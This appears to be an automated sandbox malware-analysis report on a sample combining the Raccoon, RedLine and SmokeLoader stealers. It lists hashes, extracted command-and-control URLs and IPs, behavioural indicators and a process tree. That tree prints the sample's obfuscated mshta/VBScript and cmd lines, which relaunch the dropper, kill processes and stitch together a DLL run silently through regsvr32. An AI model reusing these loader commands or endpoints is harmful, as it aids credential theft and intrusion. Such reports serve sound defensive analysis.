raccoon | 6266bbc36a8b0d3046013224a77c22a79dd7f2e97d4d33689f76a92c6ab7f2f7

Analysis

max time kernel
168s
max time network
160s
platform
windows10_x64
resource
win10-en-20211104
submitted
13/11/2021, 19:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
21c90d672ce8b7f7b26a73a317a1e582.exe
Size 343KB
Sample211113-x2ncjscdcm
SHA256 6266bbc36a8b0d3046013224a77c22a79dd7f2e97d4d33689f76a92c6ab7f2f7
MD5 21c90d672ce8b7f7b26a73a317a1e582
SHA1 91545cc63b064b18a58d59934573dcb5931891de
SHA512 6def31611a7d3054f8e300ec206b32a02f27085d980e84ba4b36736cbea4daefe467caef8a125e2c1b988295317590eb8a2a57c50da7e6e28eb4fd2045dbe787
MD5 SHA1 SHA512

Score

10^/10

raccoon redline smokeloader 675718a5f2ce6d3cacf6cb04a512f5637eae995f superstar backdoor collection discovery infostealer spyware stealer trojan

Malware Config

Extracted

Family

smokeloader

Version

2020

http://host-file-host6.com/
http://host-host-file8.com/
http://srtuiyhuali.at/
http://fufuiloirtu.com/
http://amogohuigotuli.at/
http://novohudosovu.com/
http://brutuilionust.com/
http://bubushkalioua.com/
http://dumuilistrati.at/
http://verboliatsiaeeees.com/

rc4.i32

Extracted

Family

redline

185.159.80.90:38637

Extracted

Family

redline

Botnet

SuperStar

185.215.113.29:36224

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

675718a5f2ce6d3cacf6cb04a512f5637eae995f

Attributes

url4cnc
http://91.219.236.27/agrybirdsgamerept

http://5.181.156.92/agrybirdsgamerept

http://91.219.236.207/agrybirdsgamerept

http://185.225.19.18/agrybirdsgamerept

http://91.219.237.227/agrybirdsgamerept

http://185.163.47.176/agrybirdsgamerept

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral2/memory/2600-144-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/2600-145-0x0000000000418EEA-mapping.dmp	family_redline
behavioral2/memory/820-170-0x0000000002430000-0x000000000244C000-memory.dmp	family_redline
behavioral2/memory/820-172-0x0000000002490000-0x00000000024AB000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1244 created 2964	1244	WerFault.exe	78

Downloads MZ/PE file

Executes dropped EXE 10 IoCs

pid	Process
3884	6974.exe
1916	6E09.exe
1504	7136.exe
400	77FE.exe
2600	6E09.exe
1724	6974.exe
820	77FE.exe
2964	925D.exe
2280	FF7F.exe
1792	SIOFYL_.eXE

Deletes itself 1 IoCs

pid	Process
3040	Process not Found

Loads dropped DLL 1 IoCs

pid	Process
1320	regsvr32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3740 set thread context of 1252	3740	21c90d672ce8b7f7b26a73a317a1e582.exe	68
PID 1916 set thread context of 2600	1916	6E09.exe	74
PID 3884 set thread context of 1724	3884	6974.exe	76
PID 400 set thread context of 820	400	77FE.exe	77

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1244	2964	WerFault.exe	78

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	21c90d672ce8b7f7b26a73a317a1e582.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	21c90d672ce8b7f7b26a73a317a1e582.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	21c90d672ce8b7f7b26a73a317a1e582.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7136.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7136.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	7136.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
316	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1252	21c90d672ce8b7f7b26a73a317a1e582.exe
1252	21c90d672ce8b7f7b26a73a317a1e582.exe
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3040	Process not Found

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
1252	21c90d672ce8b7f7b26a73a317a1e582.exe
1504	7136.exe
3040	Process not Found
3040	Process not Found
3040	Process not Found
3040	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeRestorePrivilege	1244	WerFault.exe
Token: SeBackupPrivilege	1244	WerFault.exe
Token: SeDebugPrivilege	1244	WerFault.exe
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeDebugPrivilege	2600	6E09.exe
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeDebugPrivilege	316	taskkill.exe
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found
Token: SeCreatePagefilePrivilege	3040	Process not Found
Token: SeShutdownPrivilege	3040	Process not Found

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 1252	3740	21c90d672ce8b7f7b26a73a317a1e582.exe	68
PID 3740 wrote to memory of 1252	3740	21c90d672ce8b7f7b26a73a317a1e582.exe	68
PID 3740 wrote to memory of 1252	3740	21c90d672ce8b7f7b26a73a317a1e582.exe	68
PID 3740 wrote to memory of 1252	3740	21c90d672ce8b7f7b26a73a317a1e582.exe	68
PID 3740 wrote to memory of 1252	3740	21c90d672ce8b7f7b26a73a317a1e582.exe	68
PID 3740 wrote to memory of 1252	3740	21c90d672ce8b7f7b26a73a317a1e582.exe	68
PID 3040 wrote to memory of 3884	3040	Process not Found	70
PID 3040 wrote to memory of 3884	3040	Process not Found	70
PID 3040 wrote to memory of 3884	3040	Process not Found	70
PID 3040 wrote to memory of 1916	3040	Process not Found	71
PID 3040 wrote to memory of 1916	3040	Process not Found	71
PID 3040 wrote to memory of 1916	3040	Process not Found	71
PID 3040 wrote to memory of 1504	3040	Process not Found	73
PID 3040 wrote to memory of 1504	3040	Process not Found	73
PID 3040 wrote to memory of 1504	3040	Process not Found	73
PID 1916 wrote to memory of 2600	1916	6E09.exe	74
PID 1916 wrote to memory of 2600	1916	6E09.exe	74
PID 1916 wrote to memory of 2600	1916	6E09.exe	74
PID 3040 wrote to memory of 400	3040	Process not Found	75
PID 3040 wrote to memory of 400	3040	Process not Found	75
PID 3040 wrote to memory of 400	3040	Process not Found	75
PID 1916 wrote to memory of 2600	1916	6E09.exe	74
PID 1916 wrote to memory of 2600	1916	6E09.exe	74
PID 1916 wrote to memory of 2600	1916	6E09.exe	74
PID 1916 wrote to memory of 2600	1916	6E09.exe	74
PID 1916 wrote to memory of 2600	1916	6E09.exe	74
PID 3884 wrote to memory of 1724	3884	6974.exe	76
PID 3884 wrote to memory of 1724	3884	6974.exe	76
PID 3884 wrote to memory of 1724	3884	6974.exe	76
PID 3884 wrote to memory of 1724	3884	6974.exe	76
PID 3884 wrote to memory of 1724	3884	6974.exe	76
PID 3884 wrote to memory of 1724	3884	6974.exe	76
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 400 wrote to memory of 820	400	77FE.exe	77
PID 3040 wrote to memory of 2964	3040	Process not Found	78
PID 3040 wrote to memory of 2964	3040	Process not Found	78
PID 3040 wrote to memory of 2964	3040	Process not Found	78
PID 3040 wrote to memory of 2280	3040	Process not Found	84
PID 3040 wrote to memory of 2280	3040	Process not Found	84
PID 3040 wrote to memory of 2280	3040	Process not Found	84
PID 2280 wrote to memory of 4080	2280	FF7F.exe	85
PID 2280 wrote to memory of 4080	2280	FF7F.exe	85
PID 2280 wrote to memory of 4080	2280	FF7F.exe	85
PID 4080 wrote to memory of 2212	4080	mshta.exe	86
PID 4080 wrote to memory of 2212	4080	mshta.exe	86
PID 4080 wrote to memory of 2212	4080	mshta.exe	86
PID 3040 wrote to memory of 3856	3040	Process not Found	88
PID 3040 wrote to memory of 3856	3040	Process not Found	88
PID 3040 wrote to memory of 3856	3040	Process not Found	88
PID 3040 wrote to memory of 3856	3040	Process not Found	88
PID 2212 wrote to memory of 1792	2212	cmd.exe	89
PID 2212 wrote to memory of 1792	2212	cmd.exe	89
PID 2212 wrote to memory of 1792	2212	cmd.exe	89
PID 2212 wrote to memory of 316	2212	cmd.exe	90
PID 2212 wrote to memory of 316	2212	cmd.exe	90
PID 2212 wrote to memory of 316	2212	cmd.exe	90
PID 1792 wrote to memory of 2884	1792	SIOFYL_.eXE	91

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\21c90d672ce8b7f7b26a73a317a1e582.exe
"C:\Users\Admin\AppData\Local\Temp\21c90d672ce8b7f7b26a73a317a1e582.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Users\Admin\AppData\Local\Temp\21c90d672ce8b7f7b26a73a317a1e582.exe
  "C:\Users\Admin\AppData\Local\Temp\21c90d672ce8b7f7b26a73a317a1e582.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1252

C:\Users\Admin\AppData\Local\Temp\6974.exe
C:\Users\Admin\AppData\Local\Temp\6974.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3884
- C:\Users\Admin\AppData\Local\Temp\6974.exe
  C:\Users\Admin\AppData\Local\Temp\6974.exe
  2⤵
  - Executes dropped EXE
  PID:1724

C:\Users\Admin\AppData\Local\Temp\6E09.exe
C:\Users\Admin\AppData\Local\Temp\6E09.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Users\Admin\AppData\Local\Temp\6E09.exe
  C:\Users\Admin\AppData\Local\Temp\6E09.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2600

C:\Users\Admin\AppData\Local\Temp\7136.exe
C:\Users\Admin\AppData\Local\Temp\7136.exe
1⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1504

C:\Users\Admin\AppData\Local\Temp\77FE.exe
C:\Users\Admin\AppData\Local\Temp\77FE.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:400
- C:\Users\Admin\AppData\Local\Temp\77FE.exe
  C:\Users\Admin\AppData\Local\Temp\77FE.exe
  2⤵
  - Executes dropped EXE
  PID:820

C:\Users\Admin\AppData\Local\Temp\925D.exe
C:\Users\Admin\AppData\Local\Temp\925D.exe
1⤵
- Executes dropped EXE
PID:2964
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2964 -s 892
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:1244

C:\Users\Admin\AppData\Local\Temp\FF7F.exe
C:\Users\Admin\AppData\Local\Temp\FF7F.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\FF7F.exe"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF """"== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\FF7F.exe"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4080
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\FF7F.exe" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\FF7F.exe" ) do taskkill -f /iM "%~NXS"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2212
  - - C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE
      ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1792
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRiPt: cLoSE ( CreaTEObJect("WSCrIpt.ShElL" ).Run ( "CMd.EXe /Q/c COPY /Y ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF ""/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk ""== """" for %S IN ( ""C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE"" ) do taskkill -f /iM ""%~NXS"" " , 0 , TrUE ))
        5⤵
        
        PID:2884
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q/c COPY /Y "C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ..\SIOFYL_.eXE && sTarT ..\SioFyL_.exE /PqgNvw4IlDLT7hpq3_wecIlKVwsIMk &IF "/PqgNvw4IlDLT7hpq3_wecIlKVwsIMk "== "" for %S IN ("C:\Users\Admin\AppData\Local\Temp\SIOFYL_.eXE" ) do taskkill -f /iM "%~NXS"
        6⤵
        
        PID:4048
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbscrIPT: cLOSE(cREateObJeCt( "wscRiPt.SHELl"). Run ("cMd /r Echo | set /P = ""MZ"" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q * " ,0 ,tRuE ) )
        5⤵
        
        PID:1192
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r Echo | set /P = "MZ" > V_DXQ.No & COPY /y /b V_dXQ.NO +WX0Cjy.A + BPROiU.ZB +oWfJ6VGN.C+ Yg_AN9.GRP ..\CXSXSHYX.ZBV & STARt regsvr32 ..\CxSXSHYX.ZBV -s & dEL /q *
        6⤵
        
        PID:828
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Echo "
        7⤵
        
        PID:2436
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" set /P = "MZ" 1>V_DXQ.No"
        7⤵
        
        PID:3864
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        regsvr32 ..\CxSXSHYX.ZBV -s
        7⤵
        Loads dropped DLL
        
        PID:1320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill -f /iM "FF7F.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:316

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:3856

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/400-157-0x0000000002D76000-0x0000000002D99000-memory.dmp

Download

memory/400-162-0x0000000002B70000-0x0000000002BA0000-memory.dmp

Download

memory/680-211-0x00000000003F0000-0x00000000003F7000-memory.dmp

Download

memory/680-212-0x00000000003E0000-0x00000000003EC000-memory.dmp

Download

memory/820-180-0x0000000002483000-0x0000000002484000-memory.dmp

Download

memory/820-170-0x0000000002430000-0x000000000244C000-memory.dmp

Download

memory/820-158-0x0000000000400000-0x0000000000433000-memory.dmp

Download

memory/820-163-0x0000000000400000-0x0000000000433000-memory.dmp

Download

memory/820-181-0x0000000002484000-0x0000000002486000-memory.dmp

Download

memory/820-179-0x0000000002482000-0x0000000002483000-memory.dmp

Download

memory/820-172-0x0000000002490000-0x00000000024AB000-memory.dmp

Download

memory/820-168-0x0000000002480000-0x0000000002481000-memory.dmp

Download

memory/1252-120-0x0000000000400000-0x0000000000409000-memory.dmp

Download

memory/1320-225-0x0000000004880000-0x0000000004935000-memory.dmp

Download

memory/1320-226-0x0000000004A00000-0x0000000004AB4000-memory.dmp

Download

memory/1320-227-0x0000000004AC0000-0x0000000004B6D000-memory.dmp

Download

memory/1320-228-0x0000000004B70000-0x0000000004C09000-memory.dmp

Download

memory/1504-141-0x0000000000490000-0x0000000000498000-memory.dmp

Download

memory/1504-143-0x0000000000400000-0x0000000000433000-memory.dmp

Download

memory/1504-142-0x00000000004A0000-0x00000000004A9000-memory.dmp

Download

memory/1792-202-0x0000000000730000-0x0000000000731000-memory.dmp

Download

memory/1792-203-0x0000000000730000-0x0000000000731000-memory.dmp

Download

memory/1916-129-0x0000000000A40000-0x0000000000A41000-memory.dmp

Download

memory/1916-137-0x00000000059E0000-0x00000000059E1000-memory.dmp

Download

memory/1916-136-0x00000000054D0000-0x00000000054D1000-memory.dmp

Download

memory/1916-135-0x0000000002DC0000-0x0000000002DC1000-memory.dmp

Download

memory/1916-131-0x00000000052A0000-0x00000000052A1000-memory.dmp

Download

memory/2280-195-0x0000000002A50000-0x0000000002A51000-memory.dmp

Download

memory/2280-194-0x0000000002A50000-0x0000000002A51000-memory.dmp

Download

memory/2600-191-0x00000000070A0000-0x00000000070A1000-memory.dmp

Download

memory/2600-156-0x0000000004F00000-0x0000000004F01000-memory.dmp

Download

memory/2600-144-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2600-155-0x0000000004DD0000-0x0000000004DD1000-memory.dmp

Download

memory/2600-164-0x0000000004D20000-0x0000000005326000-memory.dmp

Download

memory/2600-165-0x0000000004E60000-0x0000000004E61000-memory.dmp

Download

memory/2600-190-0x00000000069A0000-0x00000000069A1000-memory.dmp

Download

memory/2600-150-0x0000000005330000-0x0000000005331000-memory.dmp

Download

memory/2600-187-0x0000000005D30000-0x0000000005D31000-memory.dmp

Download

memory/2600-176-0x0000000004EA0000-0x0000000004EA1000-memory.dmp

Download

memory/2600-184-0x0000000005180000-0x0000000005181000-memory.dmp

Download

memory/2964-183-0x00000000047E0000-0x000000000486F000-memory.dmp

Download

memory/2964-182-0x0000000002F46000-0x0000000002F95000-memory.dmp

Download

memory/2964-185-0x0000000000400000-0x0000000002B85000-memory.dmp

Download

memory/3040-122-0x0000000000CE0000-0x0000000000CF6000-memory.dmp

Download

memory/3040-161-0x0000000002CB0000-0x0000000002CC6000-memory.dmp

Download

memory/3740-119-0x0000000002CA0000-0x0000000002CA9000-memory.dmp

Download

memory/3856-210-0x00000000030A0000-0x000000000310B000-memory.dmp

Download

memory/3856-209-0x0000000003110000-0x0000000003184000-memory.dmp

Download